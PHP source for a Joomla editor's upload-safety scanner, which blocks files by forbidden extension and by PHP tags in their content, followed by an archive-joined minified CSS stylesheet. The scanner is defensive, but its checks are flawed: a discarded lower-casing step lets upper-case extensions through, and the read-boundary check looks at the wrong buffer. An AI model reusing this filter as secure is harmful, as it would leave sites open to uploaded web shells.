defined('_JEXEC') or die('RESTRICTED');

abstract class WFUploadShield {

    /**
     * Checks an uploaded for suspicious naming and potential PHP contents which could indicate a hacking attempt.
     *
     * The options you can define are:
     * null_byte                   Prevent files with a null byte in their name (buffer overflow attack)
     * forbidden_extensions        Do not allow these strings anywhere in the file's extension
     * php_tag_in_content          Do not allow <?php tag in content
     * shorttag_in_content         Do not allow short tag <? in content
     * shorttag_extensions         Which file extensions to scan for short tags in content
     * fobidden_ext_in_content     Do not allow forbidden_extensions anywhere in content
     * php_ext_content_extensions  Which file extensions to scan for .php in content
     *
     * This code is an adaptation and improvement of Admin Tools' UploadShield feature,
     * relicensed and contributed by its author.
     *
     * @param   array  $file     An uploaded file descriptor
     * @param   array  $options  The scanner options (see the code for details)
     *
     * @return  boolean  True of the file is safe
     *
     * https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/filter/input.php
     * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
     */
    public static function isSafeFile($file, $options = array()) {
        $defaultOptions = array(
            // Null byte in file name
            'null_byte' => true,
            // Forbidden string in extension (e.g. php matched .php, .xxx.php, .php.xxx and so on)
            'forbidden_extensions' => array(
                'php', 'phps', 'php5', 'php3', 'php4', 'inc', 'pl', 'cgi', 'fcgi', 'java', 'jar', 'py'
            ),
            // <?php tag in file contents
            'php_tag_in_content' => true,
            // <? tag in file contents
            'shorttag_in_content' => true,
            // Which file extensions to scan for short tags
            'shorttag_extensions' => array(
                'inc', 'phps', 'class', 'php3', 'php4', 'php5', 'txt', 'dat', 'tpl', 'tmpl'
            ),
            // Forbidden extensions anywhere in the content
            'fobidden_ext_in_content' => true,
            // Which file extensions to scan for .php in the content
            'php_ext_content_extensions' => array('zip', 'rar', 'tar', 'gz', 'tgz', 'bz2', 'tbz', 'jpa'),
        );

        $options = array_merge($defaultOptions, $options);

        // Make sure we can scan nested file descriptors
        $descriptors = $file;

        if (isset($file['name']) && isset($file['tmp_name'])) {
            $descriptors = self::decodeFileData(
                            array(
                                $file['name'],
                                $file['type'],
                                $file['tmp_name'],
                                $file['error'],
                                $file['size']
                            )
            );
        }

        // Handle non-nested descriptors (single files)
        if (isset($descriptors['name'])) {
            $descriptors = array($descriptors);
        }

        // Scan all descriptors detected
        foreach ($descriptors as $fileDescriptor) {
            if (!isset($fileDescriptor['name'])) {
                // This is a nested descriptor. We have to recurse.
                if (!self::isSafeFile($fileDescriptor, $options)) {
                    return false;
                }

                continue;
            }

            $tempNames = $fileDescriptor['tmp_name'];
            $intendedNames = $fileDescriptor['name'];

            if (!is_array($tempNames)) {
                $tempNames = array($tempNames);
            }

            if (!is_array($intendedNames)) {
                $intendedNames = array($intendedNames);
            }

            $len = count($tempNames);

            for ($i = 0; $i < $len; $i++) {
                $tempName = array_shift($tempNames);
                $intendedName = array_shift($intendedNames);

                // 1. Null byte check
                if ($options['null_byte']) {
                    if (strstr($intendedName, "\x00")) {
                        return false;
                    }
                }

                // 2. PHP-in-extension check (.php, .php.xxx[.yyy[.zzz[...]]], .xxx[.yyy[.zzz[...]]].php)
                if (!empty($options['forbidden_extensions'])) {
                    $explodedName = explode('.', $intendedName);
                    $explodedName = array_reverse($explodedName);
                    array_pop($explodedName);
                    array_map('strtolower', $explodedName);

                    /*
                     * DO NOT USE array_intersect HERE! array_intersect expects the two arrays to
                     * be set, i.e. they should have unique values.
                     */
                    foreach ($options['forbidden_extensions'] as $ext) {
                        if (in_array($ext, $explodedName)) {
                            return false;
                        }
                    }
                }

                // 3. File contents scanner (PHP tag in file contents)
                if ($options['php_tag_in_content'] || $options['shorttag_in_content'] || ($options['fobidden_ext_in_content'] && !empty($options['forbidden_extensions']))) {
                    $fp = @fopen($tempName, 'r');

                    if ($fp !== false) {
                        $data = '';

                        while (!feof($fp)) {
                            $buffer = @fread($fp, 131072);
                            $data .= $buffer;

                            if ($options['php_tag_in_content'] && strstr($buffer, '<?php')) {
                                return false;
                            }

                            if ($options['shorttag_in_content']) {
                                $suspiciousExtensions = $options['shorttag_extensions'];

                                if (empty($suspiciousExtensions)) {
                                    $suspiciousExtensions = array(
                                        'inc', 'phps', 'class', 'php3', 'php4', 'txt', 'dat', 'tpl', 'tmpl'
                                    );
                                }

                                /*
                                 * DO NOT USE array_intersect HERE! array_intersect expects the two arrays to
                                 * be set, i.e. they should have unique values.
                                 */
                                $collide = false;

                                foreach ($suspiciousExtensions as $ext) {
                                    if (in_array($ext, $explodedName)) {
                                        $collide = true;

                                        break;
                                    }
                                }

                                if ($collide) {
                                    // These are suspicious text files which may have the short tag (<?) in them
                                    if (strstr($buffer, '<?')) {
                                        return false;
                                    }
                                }
                            }

                            if ($options['fobidden_ext_in_content'] && !empty($options['forbidden_extensions'])) {
                                $suspiciousExtensions = $options['php_ext_content_extensions'];

                                if (empty($suspiciousExtensions)) {
                                    $suspiciousExtensions = array(
                                        'zip', 'rar', 'tar', 'gz', 'tgz', 'bz2', 'tbz', 'jpa'
                                    );
                                }

                                /*
                                 * DO NOT USE array_intersect HERE! array_intersect expects the two arrays to
                                 * be set, i.e. they should have unique values.
                                 */
                                $collide = false;

                                foreach ($suspiciousExtensions as $ext) {
                                    if (in_array($ext, $explodedName)) {
                                        $collide = true;

                                        break;
                                    }
                                }

                                if ($collide) {
                                    /*
                                     * These are suspicious text files which may have an executable
                                     * file extension in them
                                     */
                                    foreach ($options['forbidden_extensions'] as $ext) {
                                        if (strstr($buffer, '.' . $ext)) {
                                            return false;
                                        }
                                    }
                                }
                            }

                            /*
                             * This makes sure that we don't accidentally skip a <?php tag if it's across
                             * a read boundary, even on multibyte strings
                             */
                            $data = substr($data, -8);
                        }

                        fclose($fp);
                    }
                }
            }
        }

        return true;
    }

    /**
     * Method to decode a file data array.
     *
     * @param   array  $data  The data array to decode.
     *
     * @return  array
     *
     * https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/filter/input.php
     * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
     */
    protected static function decodeFileData(array $data) {
        $result = array();

        if (is_array($data[0])) {
            foreach ($data[0] as $k => $v) {
                $result[$k] = self::decodeFileData(array($data[0][$k], $data[1][$k], $data[2][$k], $data[3][$k], $data[4][$k]));
            }

            return $result;
        }

        return array('name' => $data[0], 'type' => $data[1], 'tmp_name' => $data[2], 'error' => $data[3], 'size' => $data[4]);
    }
}com_jce/editor/libraries/uikit/uikit.min.css000060400000377730152453734450015204 0ustar00progress,sub,sup{vertical-align:baseline}.uk-panel,sub,sup{position:relative}.uk-article-title,.uk-panel-title{text-transform:none;font-weight:400}.uk-accordion-content:after,.uk-article:after,.uk-block:after,.uk-clearfix:after,.uk-comment-header:after,.uk-container:after,.uk-datepicker-nav:after,.uk-dotnav:after,.uk-form-row:after,.uk-grid:after,.uk-htmleditor-content:after,.uk-htmleditor-navbar:after,.uk-list>li:after,.uk-navbar:after,.uk-pagination:after,.uk-panel:after,.uk-subnav:after,.uk-tab:after,.uk-thumbnav:after{clear:both}.uk-button-group,.uk-dotnav>*>*,.uk-dropdown-small,.uk-modal-caption,.uk-text-nowrap,.uk-text-truncate{white-space:nowrap}.uk-nestable a,.uk-nestable img,.uk-sortable a,.uk-sortable img{-webkit-touch-callout:none}.uk-nestable-dragged,.uk-nestable-moving iframe,.uk-slider img,.uk-sortable-dragged,.uk-sortable-moving iframe{pointer-events:none}html{font:400 13px/20px "Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;background:#fff;color:#444}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}.uk-link,a{color:#337ab7;text-decoration:none;cursor:pointer}.uk-link:hover,a:hover{color:#23527c;text-decoration:underline}.uk-article-title a,.uk-nav li>a,.uk-navbar-nav>li>a,.uk-panel,.uk-panel:hover,ins{text-decoration:none}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}:not(pre)>code,:not(pre)>kbd,:not(pre)>samp{font-size:11px;font-family:Consolas,monospace,serif;color:#c7254e;white-space:nowrap;padding:0 4px;border:1px solid #ddd;border-radius:3px;background:#fafafa}em,ins,mark,pre{color:#444}hr,img{border:0}ins{background:#ffa}mark{background:#fcf8e1}q{font-style:italic}small{font-size:80%}sub,sup{font-size:75%;line-height:0}sup{top:-.5em}sub{bottom:-.25em}audio,canvas,iframe,img,svg,video{vertical-align:middle}audio,canvas,img,svg,video{max-width:100%;height:auto;box-sizing:border-box}.uk-img-preserve,.uk-img-preserve audio,.uk-img-preserve canvas,.uk-img-preserve img,.uk-img-preserve svg,.uk-img-preserve video{max-width:none}svg:not(:root){overflow:hidden}address,blockquote,dl,fieldset,figure,ol,p,pre,ul{margin:0 0 15px}*+address,*+blockquote,*+dl,*+fieldset,*+figure,*+ol,*+p,*+pre,*+ul{margin-top:15px}h1,h2,h3,h4,h5,h6{margin:0 0 15px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:400;color:#444;text-transform:none}*+h1,*+h2,*+h3,*+h4,*+h5,*+h6{margin-top:25px}.uk-h1,h1{font-size:34px;line-height:39px}.uk-h2,h2{font-size:23px;line-height:29px}.uk-h3,h3{font-size:17px;line-height:22px}.uk-h4,h4{font-size:15px;line-height:20px}.uk-h5,h5{font-size:13px;line-height:20px}.uk-h6,h6{font-size:11px;line-height:16px}ol,ul{padding-left:30px}ol>li>ol,ol>li>ul,ul>li>ol,ul>li>ul{margin:0}dt{font-weight:700}dd{margin-left:0}hr{box-sizing:content-box;height:0;margin:15px 0;border-top:1px solid #ddd}address{font-style:normal}blockquote{padding-left:15px;border-left:5px solid #ddd;font-size:15px;line-height:20px;font-style:italic}pre{padding:10px;background:#fafafa;font:11px/16px Consolas,monospace,serif;-moz-tab-size:4;tab-size:4;overflow:auto;border:1px solid #ddd;border-radius:3px}::-moz-selection{background:#337ab7;color:#fff;text-shadow:none}::selection{background:#337ab7;color:#fff;text-shadow:none}article,aside,details,figcaption,figure,footer,header,main,nav,section,summary{display:block}[hidden],audio:not([controls]),template{display:none}iframe{border:0}@media screen and (max-width:400px){@-ms-viewport{width:device-width}}.uk-grid{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin:0;padding:0;list-style:none}.uk-grid:after,.uk-grid:before{content:"";display:block;overflow:hidden}.uk-grid>*{-ms-flex:none;-webkit-flex:none;flex:none;margin:0;float:left;padding-left:25px}.uk-grid>*>:last-child{margin-bottom:0}.uk-grid{margin-left:-25px}.uk-grid+.uk-grid,.uk-grid-margin,.uk-grid>*>.uk-panel+.uk-panel{margin-top:25px}@media (min-width:1220px){.uk-grid{margin-left:-35px}.uk-grid>*{padding-left:35px}.uk-grid+.uk-grid,.uk-grid-margin,.uk-grid>*>.uk-panel+.uk-panel{margin-top:35px}}.uk-grid-collapse{margin-left:0}.uk-grid-collapse>*{padding-left:0}.uk-grid-collapse+.uk-grid-collapse,.uk-grid-collapse>*>.uk-panel+.uk-panel,.uk-grid-collapse>.uk-grid-margin{margin-top:0}.uk-grid-small{margin-left:-10px}.uk-grid-small>*{padding-left:10px}.uk-grid-small+.uk-grid-small,.uk-grid-small>*>.uk-panel+.uk-panel,.uk-grid-small>.uk-grid-margin{margin-top:10px}.uk-grid-medium{margin-left:-25px}.uk-grid-medium>*{padding-left:25px}.uk-grid-medium+.uk-grid-medium,.uk-grid-medium>*>.uk-panel+.uk-panel,.uk-grid-medium>.uk-grid-margin{margin-top:25px}@media (min-width:960px){.uk-grid-large{margin-left:-35px}.uk-grid-large>*{padding-left:35px}.uk-grid-large+.uk-grid-large,.uk-grid-large-margin,.uk-grid-large>*>.uk-panel+.uk-panel{margin-top:35px}}@media (min-width:1220px){.uk-grid-large{margin-left:-50px}.uk-grid-large>*{padding-left:50px}.uk-grid-large+.uk-grid-large,.uk-grid-large-margin,.uk-grid-large>*>.uk-panel+.uk-panel{margin-top:50px}}.uk-grid-divider:not(:empty){margin-left:-25px;margin-right:-25px}.uk-grid-divider>*{padding-left:25px;padding-right:25px}.uk-grid-divider>[class*=uk-width-9-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-1-]:not(.uk-width-1-1):nth-child(n+2),.uk-grid-divider>[class*=uk-width-2-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-3-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-4-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-5-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-6-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-7-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-8-]:nth-child(n+2){border-left:1px solid #ddd}@media (min-width:768px){.uk-grid-divider>[class*=uk-width-medium-]:not(.uk-width-medium-1-1):nth-child(n+2){border-left:1px solid #ddd}}@media (min-width:960px){.uk-grid-divider>[class*=uk-width-large-]:not(.uk-width-large-1-1):nth-child(n+2){border-left:1px solid #ddd}}@media (min-width:1220px){.uk-grid-divider:not(:empty){margin-left:-35px;margin-right:-35px}.uk-grid-divider>*{padding-left:35px;padding-right:35px}.uk-grid-divider:empty{margin-top:35px;margin-bottom:35px}}.uk-grid-divider:empty{margin-top:25px;margin-bottom:25px;border-top:1px solid #ddd}.uk-grid-match>*{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap}.uk-grid-match>*>*{-ms-flex:none;-webkit-flex:none;flex:none;box-sizing:border-box;width:100%}[class*=uk-grid-width]>*{box-sizing:border-box;width:100%}.uk-grid-width-1-2>*{width:50%}.uk-grid-width-1-3>*{width:33.333%}.uk-grid-width-1-4>*{width:25%}.uk-grid-width-1-5>*{width:20%}.uk-grid-width-1-6>*{width:16.666%}.uk-grid-width-1-10>*{width:10%}.uk-grid-width-auto>*{width:auto}@media (min-width:480px){.uk-grid-width-small-1-1>*{width:100%}.uk-grid-width-small-1-2>*{width:50%}.uk-grid-width-small-1-3>*{width:33.333%}.uk-grid-width-small-1-4>*{width:25%}.uk-grid-width-small-1-5>*{width:20%}.uk-grid-width-small-1-6>*{width:16.666%}.uk-grid-width-small-1-10>*{width:10%}}@media (min-width:768px){.uk-grid-width-medium-1-1>*{width:100%}.uk-grid-width-medium-1-2>*{width:50%}.uk-grid-width-medium-1-3>*{width:33.333%}.uk-grid-width-medium-1-4>*{width:25%}.uk-grid-width-medium-1-5>*{width:20%}.uk-grid-width-medium-1-6>*{width:16.666%}.uk-grid-width-medium-1-10>*{width:10%}}@media (min-width:960px){.uk-grid-width-large-1-1>*{width:100%}.uk-grid-width-large-1-2>*{width:50%}.uk-grid-width-large-1-3>*{width:33.333%}.uk-grid-width-large-1-4>*{width:25%}.uk-grid-width-large-1-5>*{width:20%}.uk-grid-width-large-1-6>*{width:16.666%}.uk-grid-width-large-1-10>*{width:10%}}@media (min-width:1220px){.uk-grid-width-xlarge-1-1>*{width:100%}.uk-grid-width-xlarge-1-2>*{width:50%}.uk-grid-width-xlarge-1-3>*{width:33.333%}.uk-grid-width-xlarge-1-4>*{width:25%}.uk-grid-width-xlarge-1-5>*{width:20%}.uk-grid-width-xlarge-1-6>*{width:16.666%}.uk-grid-width-xlarge-1-10>*{width:10%}}[class*=uk-width]{box-sizing:border-box;width:100%}.uk-width-1-1{width:100%}.uk-width-1-2,.uk-width-2-4,.uk-width-3-6,.uk-width-5-10{width:50%}.uk-width-1-3,.uk-width-2-6{width:33.333%}.uk-width-2-3,.uk-width-4-6{width:66.666%}.uk-width-1-4{width:25%}.uk-width-3-4{width:75%}.uk-width-1-5,.uk-width-2-10{width:20%}.uk-width-2-5,.uk-width-4-10{width:40%}.uk-width-3-5,.uk-width-6-10{width:60%}.uk-width-4-5,.uk-width-8-10{width:80%}.uk-width-1-6{width:16.666%}.uk-width-5-6{width:83.333%}.uk-width-1-10{width:10%}.uk-width-3-10{width:30%}.uk-width-7-10{width:70%}.uk-width-9-10{width:90%}@media (min-width:480px){.uk-width-small-1-1{width:100%}.uk-width-small-1-2,.uk-width-small-2-4,.uk-width-small-3-6,.uk-width-small-5-10{width:50%}.uk-width-small-1-3,.uk-width-small-2-6{width:33.333%}.uk-width-small-2-3,.uk-width-small-4-6{width:66.666%}.uk-width-small-1-4{width:25%}.uk-width-small-3-4{width:75%}.uk-width-small-1-5,.uk-width-small-2-10{width:20%}.uk-width-small-2-5,.uk-width-small-4-10{width:40%}.uk-width-small-3-5,.uk-width-small-6-10{width:60%}.uk-width-small-4-5,.uk-width-small-8-10{width:80%}.uk-width-small-1-6{width:16.666%}.uk-width-small-5-6{width:83.333%}.uk-width-small-1-10{width:10%}.uk-width-small-3-10{width:30%}.uk-width-small-7-10{width:70%}.uk-width-small-9-10{width:90%}}@media (min-width:768px){.uk-width-medium-1-1{width:100%}.uk-width-medium-1-2,.uk-width-medium-2-4,.uk-width-medium-3-6,.uk-width-medium-5-10{width:50%}.uk-width-medium-1-3,.uk-width-medium-2-6{width:33.333%}.uk-width-medium-2-3,.uk-width-medium-4-6{width:66.666%}.uk-width-medium-1-4{width:25%}.uk-width-medium-3-4{width:75%}.uk-width-medium-1-5,.uk-width-medium-2-10{width:20%}.uk-width-medium-2-5,.uk-width-medium-4-10{width:40%}.uk-width-medium-3-5,.uk-width-medium-6-10{width:60%}.uk-width-medium-4-5,.uk-width-medium-8-10{width:80%}.uk-width-medium-1-6{width:16.666%}.uk-width-medium-5-6{width:83.333%}.uk-width-medium-1-10{width:10%}.uk-width-medium-3-10{width:30%}.uk-width-medium-7-10{width:70%}.uk-width-medium-9-10{width:90%}}@media (min-width:960px){.uk-width-large-1-1{width:100%}.uk-width-large-1-2,.uk-width-large-2-4,.uk-width-large-3-6,.uk-width-large-5-10{width:50%}.uk-width-large-1-3,.uk-width-large-2-6{width:33.333%}.uk-width-large-2-3,.uk-width-large-4-6{width:66.666%}.uk-width-large-1-4{width:25%}.uk-width-large-3-4{width:75%}.uk-width-large-1-5,.uk-width-large-2-10{width:20%}.uk-width-large-2-5,.uk-width-large-4-10{width:40%}.uk-width-large-3-5,.uk-width-large-6-10{width:60%}.uk-width-large-4-5,.uk-width-large-8-10{width:80%}.uk-width-large-1-6{width:16.666%}.uk-width-large-5-6{width:83.333%}.uk-width-large-1-10{width:10%}.uk-width-large-3-10{width:30%}.uk-width-large-7-10{width:70%}.uk-width-large-9-10{width:90%}}@media (min-width:1220px){.uk-width-xlarge-1-1{width:100%}.uk-width-xlarge-1-2,.uk-width-xlarge-2-4,.uk-width-xlarge-3-6,.uk-width-xlarge-5-10{width:50%}.uk-width-xlarge-1-3,.uk-width-xlarge-2-6{width:33.333%}.uk-width-xlarge-2-3,.uk-width-xlarge-4-6{width:66.666%}.uk-width-xlarge-1-4{width:25%}.uk-width-xlarge-3-4{width:75%}.uk-width-xlarge-1-5,.uk-width-xlarge-2-10{width:20%}.uk-width-xlarge-2-5,.uk-width-xlarge-4-10{width:40%}.uk-width-xlarge-3-5,.uk-width-xlarge-6-10{width:60%}.uk-width-xlarge-4-5,.uk-width-xlarge-8-10{width:80%}.uk-width-xlarge-1-6{width:16.666%}.uk-width-xlarge-5-6{width:83.333%}.uk-width-xlarge-1-10{width:10%}.uk-width-xlarge-3-10{width:30%}.uk-width-xlarge-7-10{width:70%}.uk-width-xlarge-9-10{width:90%}}@media (min-width:768px){[class*=uk-push-],[class*=uk-pull-]{position:relative}.uk-push-1-2,.uk-push-2-4,.uk-push-3-6,.uk-push-5-10{left:50%}.uk-push-1-3,.uk-push-2-6{left:33.333%}.uk-push-2-3,.uk-push-4-6{left:66.666%}.uk-push-1-4{left:25%}.uk-push-3-4{left:75%}.uk-push-1-5,.uk-push-2-10{left:20%}.uk-push-2-5,.uk-push-4-10{left:40%}.uk-push-3-5,.uk-push-6-10{left:60%}.uk-push-4-5,.uk-push-8-10{left:80%}.uk-push-1-6{left:16.666%}.uk-push-5-6{left:83.333%}.uk-push-1-10{left:10%}.uk-push-3-10{left:30%}.uk-push-7-10{left:70%}.uk-push-9-10{left:90%}.uk-pull-1-2,.uk-pull-2-4,.uk-pull-3-6,.uk-pull-5-10{left:-50%}.uk-pull-1-3,.uk-pull-2-6{left:-33.333%}.uk-pull-2-3,.uk-pull-4-6{left:-66.666%}.uk-pull-1-4{left:-25%}.uk-pull-3-4{left:-75%}.uk-pull-1-5,.uk-pull-2-10{left:-20%}.uk-pull-2-5,.uk-pull-4-10{left:-40%}.uk-pull-3-5,.uk-pull-6-10{left:-60%}.uk-pull-4-5,.uk-pull-8-10{left:-80%}.uk-pull-1-6{left:-16.666%}.uk-pull-5-6{left:-83.333%}.uk-pull-1-10{left:-10%}.uk-pull-3-10{left:-30%}.uk-pull-7-10{left:-70%}.uk-pull-9-10{left:-90%}}.uk-panel{display:block}.uk-panel:after,.uk-panel:before{content:"";display:table}.uk-panel>:not(.uk-panel-title):last-child{margin-bottom:0}.uk-panel-teaser,.uk-panel-title{margin-bottom:15px}.uk-panel-title{margin-top:0;font-size:17px;line-height:22px;color:#444}.uk-panel-badge{position:absolute;top:0;right:0;z-index:1}.uk-panel-box .uk-panel-badge,.uk-panel-hover .uk-panel-badge{top:10px;right:10px}.uk-panel-body{padding:15px}.uk-panel-box{padding:15px;background:#fafafa;color:#444;border:1px solid #ddd;border-radius:2px}.uk-panel-box .uk-panel-title,.uk-panel-box-hover:hover{color:#444}.uk-panel-box>.uk-panel-teaser{margin-top:-16px;margin-left:-16px;margin-right:-16px}.uk-panel-box>.uk-nav-side{margin:0 -15px}.uk-article>:last-child,.uk-block>:last-child{margin-bottom:0}.uk-panel-box-primary{background-color:#ebf7fd;color:#2d7091;border-color:rgba(45,112,145,.3)}.uk-panel-box-primary .uk-panel-title,.uk-panel-box-primary-hover:hover{color:#2d7091}.uk-panel-box-secondary{background-color:#fff;color:#444}.uk-panel-box-secondary .uk-panel-title,.uk-panel-box-secondary-hover:hover{color:#444}.uk-panel-hover{padding:15px;color:#444;border:1px solid transparent;border-radius:2px}.uk-panel-hover:hover{background:#fafafa;color:#444;border-color:#ddd}.uk-panel-hover>.uk-panel-teaser{margin-top:-16px;margin-left:-16px;margin-right:-16px}.uk-panel-header .uk-panel-title{padding-bottom:10px;border-bottom:1px solid #ddd;color:#444}.uk-panel-space{padding:30px}.uk-panel-space .uk-panel-badge{top:30px;right:30px}.uk-panel+.uk-panel-divider{margin-top:50px!important}.uk-panel+.uk-panel-divider:before{content:"";display:block;position:absolute;top:-25px;left:0;right:0;border-top:1px solid #ddd}.uk-article:after,.uk-article:before,.uk-block:after,.uk-block:before,.uk-comment-header:after,.uk-comment-header:before{content:"";display:table}@media (min-width:1220px){.uk-panel+.uk-panel-divider{margin-top:70px!important}.uk-panel+.uk-panel-divider:before{top:-35px}}.uk-cover-object,[data-uk-cover]{left:50%;top:50%;position:relative}.uk-panel-box .uk-panel-teaser{border-top-left-radius:2px;border-top-right-radius:2px;overflow:hidden;-webkit-transform:translateZ(0)}.uk-block{position:relative;box-sizing:border-box;padding-top:20px;padding-bottom:20px}@media (min-width:768px){.uk-block{padding-top:50px;padding-bottom:50px}}.uk-block-large{padding-top:20px;padding-bottom:20px}@media (min-width:768px){.uk-block-large{padding-top:50px;padding-bottom:50px}}@media (min-width:960px){.uk-block-large{padding-top:100px;padding-bottom:100px}}.uk-block-default{background:#fff}.uk-block-muted{background:#f9f9f9}.uk-block-primary{background:#337ab7}.uk-block-secondary{background:#222}.uk-block-default+.uk-block-default,.uk-block-muted+.uk-block-muted,.uk-block-primary+.uk-block-primary,.uk-block-secondary+.uk-block-secondary{padding-top:0}.uk-article-title{font-size:34px;line-height:39px}.uk-article-title a{color:inherit}.uk-article-meta{font-size:11px;line-height:16px;color:#999}.uk-article-lead{color:#444;font-size:17px;line-height:22px;font-weight:400}.uk-article-divider{margin-bottom:25px;border-color:#ddd}*+.uk-article-divider{margin-top:25px}.uk-article+.uk-article{margin-top:25px;padding-top:25px;border-top:1px solid #ddd}.uk-comment-header{margin-bottom:15px;padding:10px;border:1px solid #ddd;border-radius:2px;background:#fafafa}.uk-comment-avatar{margin-right:15px;float:left}.uk-comment-title{margin:5px 0 0;font-size:15px;line-height:20px}.uk-comment-meta{margin:2px 0 0;font-size:10px;line-height:15px;color:#999}.uk-comment-body{padding-left:10px;padding-right:10px}.uk-comment-body>:last-child{margin-bottom:0}.uk-comment-list{padding:0;list-style:none}.uk-comment-list .uk-comment+ul{margin:25px 0 0;list-style:none}.uk-comment-list .uk-comment+ul>li:nth-child(n+2),.uk-comment-list>li:nth-child(n+2){margin-top:25px}@media (min-width:768px){.uk-comment-list .uk-comment+ul{padding-left:100px}}.uk-comment-primary .uk-comment-header{border-color:rgba(45,112,145,.3);background-color:#d9edf7;color:#2d7091;text-shadow:0 1px 0 #fff}.uk-nav-dropdown .uk-nav-divider,.uk-nav-navbar .uk-nav-divider{border-top:1px solid #ddd}.uk-cover-background{background-position:50% 50%;background-size:cover;background-repeat:no-repeat}.uk-cover{overflow:hidden}.uk-cover-object{width:auto;height:auto;min-width:100%;min-height:100%;max-width:none;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}[data-uk-cover]{-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.uk-nav,.uk-nav ul{margin:0;padding:0;list-style:none}.uk-nav li>a{display:block}.uk-nav>li>a{padding:5px 15px}.uk-nav ul{padding-left:15px}.uk-nav ul a{padding:2px 0}.uk-nav li>a>div{font-size:11px;line-height:16px}.uk-nav-header{padding:5px 15px;text-transform:uppercase;font-weight:700;font-size:11px}.uk-nav-header:not(:first-child){margin-top:15px}.uk-nav-divider{margin:9px 15px}ul.uk-nav-sub{padding:5px 0 5px 15px}.uk-nav-parent-icon>.uk-parent>a:after{content:"\f104";width:20px;margin-right:-10px;float:right;font-family:FontAwesome;text-align:center}.uk-nav-parent-icon>.uk-parent.uk-open>a:after{content:"\f107"}.uk-nav-side>li>a{color:#444}.uk-nav-side>li>a:focus,.uk-nav-side>li>a:hover{background:rgba(0,0,0,.03);color:#444;outline:0;box-shadow:inset 0 0 1px rgba(0,0,0,.06);text-shadow:0 -1px 0 #fff}.uk-nav-side>li.uk-active>a{background:#337ab7;color:#fff;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-nav-side .uk-nav-header{color:#444}.uk-nav-side .uk-nav-divider{border-top:1px solid #ddd;box-shadow:0 1px 0 #fff}.uk-nav-side ul a{color:#337ab7}.uk-nav-side ul a:hover{color:#23527c}.uk-nav-dropdown>li>a{color:#444}.uk-nav-dropdown>li>a:focus,.uk-nav-dropdown>li>a:hover{background:#337ab7;color:#fff;outline:0;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-nav-dropdown .uk-nav-header{color:#999}.uk-nav-dropdown ul a{color:#337ab7}.uk-nav-dropdown ul a:hover{color:#23527c}.uk-nav-navbar>li>a{color:#444}.uk-nav-navbar>li>a:focus,.uk-nav-navbar>li>a:hover{background:#337ab7;color:#fff;outline:0;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-nav-navbar .uk-nav-header{color:#999}.uk-nav-offcanvas .uk-nav-header,.uk-nav-offcanvas>li>a{border-top:1px solid rgba(0,0,0,.3);text-shadow:0 1px 0 rgba(0,0,0,.5)}.uk-nav-navbar ul a{color:#337ab7}.uk-nav-navbar ul a:hover{color:#23527c}.uk-nav-offcanvas>li>a{color:#ccc;padding:10px 15px;box-shadow:inset 0 1px 0 rgba(255,255,255,.05)}.uk-nav-offcanvas>.uk-open>a,html:not(.uk-touch) .uk-nav-offcanvas>li>a:focus,html:not(.uk-touch) .uk-nav-offcanvas>li>a:hover{background:#404040;color:#fff;outline:0}html .uk-nav.uk-nav-offcanvas>li.uk-active>a{background:#1a1a1a;color:#fff;box-shadow:inset 0 1px 3px rgba(0,0,0,.3)}.uk-nav-offcanvas .uk-nav-header{color:#777;margin-top:0;background:#404040;box-shadow:inset 0 1px 0 rgba(255,255,255,.05)}.uk-nav-offcanvas .uk-nav-divider{border-top:1px solid rgba(255,255,255,.01);margin:0;height:4px;background:rgba(0,0,0,.2);box-shadow:inset 0 1px 3px rgba(0,0,0,.3)}.uk-nav-offcanvas ul a{color:#ccc}html:not(.uk-touch) .uk-nav-offcanvas ul a:hover{color:#fff}.uk-nav-offcanvas{border-bottom:1px solid rgba(0,0,0,.3);box-shadow:0 1px 0 rgba(255,255,255,.05)}.uk-nav-offcanvas .uk-nav-sub{border-top:1px solid rgba(0,0,0,.3);box-shadow:inset 0 1px 0 rgba(255,255,255,.05)}.uk-navbar{background:#f5f5f5;color:#444;border:1px solid rgba(0,0,0,.06);border-radius:2px}.uk-navbar:after,.uk-navbar:before{content:"";display:table}.uk-navbar-nav{margin:0;padding:0;list-style:none;float:left}.uk-navbar-nav>li{float:left;position:relative}.uk-navbar-nav>li>a{display:block;box-sizing:border-box;height:41px;padding:0 15px;line-height:40px;color:#444;font-size:13px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:400;margin-top:-1px;margin-left:-1px;border:1px solid transparent;border-bottom-width:0;text-shadow:0 1px 0 